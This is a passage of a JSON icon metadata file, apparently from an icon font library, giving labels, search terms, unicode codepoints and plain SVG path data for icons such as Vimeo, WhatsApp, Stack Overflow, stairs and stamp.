  "square-vimeo": {
    "aliases": {
      "names": ["vimeo-square"]
    },
    "changes": ["4.0.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f194",
    "label": "Vimeo Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z"
      }
    },
    "free": ["brands"]
  },
  "square-virus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "coronavirus",
        "covid-19",
        "disease",
        "flu",
        "infection",
        "pandemic"
      ]
    },
    "styles": ["solid"],
    "unicode": "e578",
    "label": "Square Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM223.8 93.7c13.3 0 24 10.7 24 24c0 29.3 35.4 43.9 56.1 23.2c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9c-20.7 20.7-6 56.1 23.2 56.1c13.3 0 24 10.7 24 24s-10.7 24-24 24c-29.3 0-43.9 35.4-23.2 56.1c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0c-20.7-20.7-56.1-6-56.1 23.2c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-29.3-35.4-43.9-56.1-23.2c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9c20.7-20.7 6-56.1-23.2-56.1c-13.3 0-24-10.7-24-24s10.7-24 24-24c29.3 0 43.9-35.4 23.2-56.1c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0c20.7 20.7 56.1 6 56.1-23.2c0-13.3 10.7-24 24-24zM192 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm88 32a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM223.8 93.7c13.3 0 24 10.7 24 24c0 29.3 35.4 43.9 56.1 23.2c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9c-20.7 20.7-6 56.1 23.2 56.1c13.3 0 24 10.7 24 24s-10.7 24-24 24c-29.3 0-43.9 35.4-23.2 56.1c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0c-20.7-20.7-56.1-6-56.1 23.2c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-29.3-35.4-43.9-56.1-23.2c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9c20.7-20.7 6-56.1-23.2-56.1c-13.3 0-24-10.7-24-24s10.7-24 24-24c29.3 0 43.9-35.4 23.2-56.1c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0c20.7 20.7 56.1 6 56.1-23.2c0-13.3 10.7-24 24-24zM192 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm88 32a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z"
      }
    },
    "free": ["solid"]
  },
  "square-whatsapp": {
    "aliases": {
      "names": ["whatsapp-square"]
    },
    "changes": ["5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f40c",
    "label": "What's App Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z"
      }
    },
    "free": ["brands"]
  },
  "square-x-twitter": {
    "changes": ["6.4.2"],
    "ligatures": [],
    "search": {
      "terms": [" elon", " x", "twitter"]
    },
    "styles": ["brands"],
    "unicode": "e61a",
    "label": "Square X Twitter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1690904784,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm297.1 84L257.3 234.6 379.4 396H283.8L209 298.1 123.3 396H75.8l111-126.9L69.7 116h98l67.7 89.5L313.6 116h47.5zM323.3 367.6L153.4 142.9H125.1L296.9 367.6h26.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm297.1 84L257.3 234.6 379.4 396H283.8L209 298.1 123.3 396H75.8l111-126.9L69.7 116h98l67.7 89.5L313.6 116h47.5zM323.3 367.6L153.4 142.9H125.1L296.9 367.6h26.3z"
      }
    },
    "free": ["brands"]
  },
  "square-xing": {
    "aliases": {
      "names": ["xing-square"]
    },
    "changes": ["3.2.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f169",
    "label": "Xing Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z"
      }
    },
    "free": ["brands"]
  },
  "square-xmark": {
    "aliases": {
      "names": ["times-square", "xmark-square"],
      "unicodes": {
        "composite": ["274e"],
        "secondary": ["10f2d3"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "close",
        "cross",
        "cross mark button",
        "incorrect",
        "mark",
        "notice",
        "notification",
        "notify",
        "problem",
        "square",
        "window",
        "wrong",
        "x",
        "×"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2d3",
    "label": "Square Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm79 143c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm79 143c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      }
    },
    "free": ["solid"]
  },
  "square-youtube": {
    "aliases": {
      "names": ["youtube-square"],
      "unicodes": {
        "composite": ["f166"]
      }
    },
    "changes": ["5.0.3", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f431",
    "label": "YouTube Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z"
      }
    },
    "free": ["brands"]
  },
  "squarespace": {
    "changes": ["5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5be",
    "label": "Squarespace",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z"
      }
    },
    "free": ["brands"]
  },
  "stack-exchange": {
    "changes": ["4.0.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f18d",
    "label": "Stack Exchange",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z"
      }
    },
    "free": ["brands"]
  },
  "stack-overflow": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f16c",
    "label": "Stack Overflow",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z"
      }
    },
    "free": ["brands"]
  },
  "stackpath": {
    "changes": ["5.8.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f842",
    "label": "Stackpath",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z"
      }
    },
    "free": ["brands"]
  },
  "staff-snake": {
    "aliases": {
      "names": ["rod-asclepius", "rod-snake", "staff-aesculapius"]
    },
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["asclepius", "asklepian", "health", "serpent", "wellness"]
    },
    "styles": ["solid"],
    "unicode": "e579",
    "label": "Staff Snake",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M222.6 43.2l-.1 4.8H288c53 0 96 43 96 96s-43 96-96 96H248V160h40c8.8 0 16-7.2 16-16s-7.2-16-16-16H248 220l-4.5 144H256c53 0 96 43 96 96s-43 96-96 96H240V384h16c8.8 0 16-7.2 16-16s-7.2-16-16-16H213l-3.1 99.5L208.5 495l0 1c-.3 8.9-7.6 16-16.5 16s-16.2-7.1-16.5-16l0-1-1-31H136c-22.1 0-40-17.9-40-40s17.9-40 40-40h36l-1-32H152c-53 0-96-43-96-96c0-47.6 34.6-87.1 80-94.7V256c0 8.8 7.2 16 16 16h16.5L164 128H136 122.6c-9 18.9-28.3 32-50.6 32H56c-30.9 0-56-25.1-56-56S25.1 48 56 48h8 8 89.5l-.1-4.8L161 32c0-.7 0-1.3 0-1.9c.5-16.6 14.1-30 31-30s30.5 13.4 31 30c0 .6 0 1.3 0 1.9l-.4 11.2zM64 112a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M222.6 43.2l-.1 4.8H288c53 0 96 43 96 96s-43 96-96 96H248V160h40c8.8 0 16-7.2 16-16s-7.2-16-16-16H248 220l-4.5 144H256c53 0 96 43 96 96s-43 96-96 96H240V384h16c8.8 0 16-7.2 16-16s-7.2-16-16-16H213l-3.1 99.5L208.5 495l0 1c-.3 8.9-7.6 16-16.5 16s-16.2-7.1-16.5-16l0-1-1-31H136c-22.1 0-40-17.9-40-40s17.9-40 40-40h36l-1-32H152c-53 0-96-43-96-96c0-47.6 34.6-87.1 80-94.7V256c0 8.8 7.2 16 16 16h16.5L164 128H136 122.6c-9 18.9-28.3 32-50.6 32H56c-30.9 0-56-25.1-56-56S25.1 48 56 48h8 8 89.5l-.1-4.8L161 32c0-.7 0-1.3 0-1.9c.5-16.6 14.1-30 31-30s30.5 13.4 31 30c0 .6 0 1.3 0 1.9l-.4 11.2zM64 112a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "stairs": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["exit", "steps", "up"]
    },
    "styles": ["solid"],
    "unicode": "e289",
    "label": "Stairs",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 64c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H448v96c0 17.7-14.3 32-32 32H320v96c0 17.7-14.3 32-32 32H192v96c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h96V320c0-17.7 14.3-32 32-32h96V192c0-17.7 14.3-32 32-32h96V64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 64c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H448v96c0 17.7-14.3 32-32 32H320v96c0 17.7-14.3 32-32 32H192v96c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h96V320c0-17.7 14.3-32 32-32h96V192c0-17.7 14.3-32 32-32h96V64z"
      }
    },
    "free": ["solid"]
  },
  "stamp": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5bf"]
      }
    },
    "changes": [
      "5.1.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["art", "certificate", "imprint", "rubber", "seal"]
    },
    "styles": ["solid"],
    "unicode": "f5bf",
    "label": "Stamp",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M312 201.8c0-17.4 9.2-33.2 19.9-47C344.5 138.5 352 118.1 352 96c0-53-43-96-96-96s-96 43-96 96c0 22.1 7.5 42.5 20.1 58.8c10.7 13.8 19.9 29.6 19.9 47c0 29.9-24.3 54.2-54.2 54.2H112C50.1 256 0 306.1 0 368c0 20.9 13.4 38.7 32 45.3V464c0 26.5 21.5 48 48 48H432c26.5 0 48-21.5 48-48V413.3c18.6-6.6 32-24.4 32-45.3c0-61.9-50.1-112-112-112H366.2c-29.9 0-54.2-24.3-54.2-54.2zM416 416v32H96V416H416z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
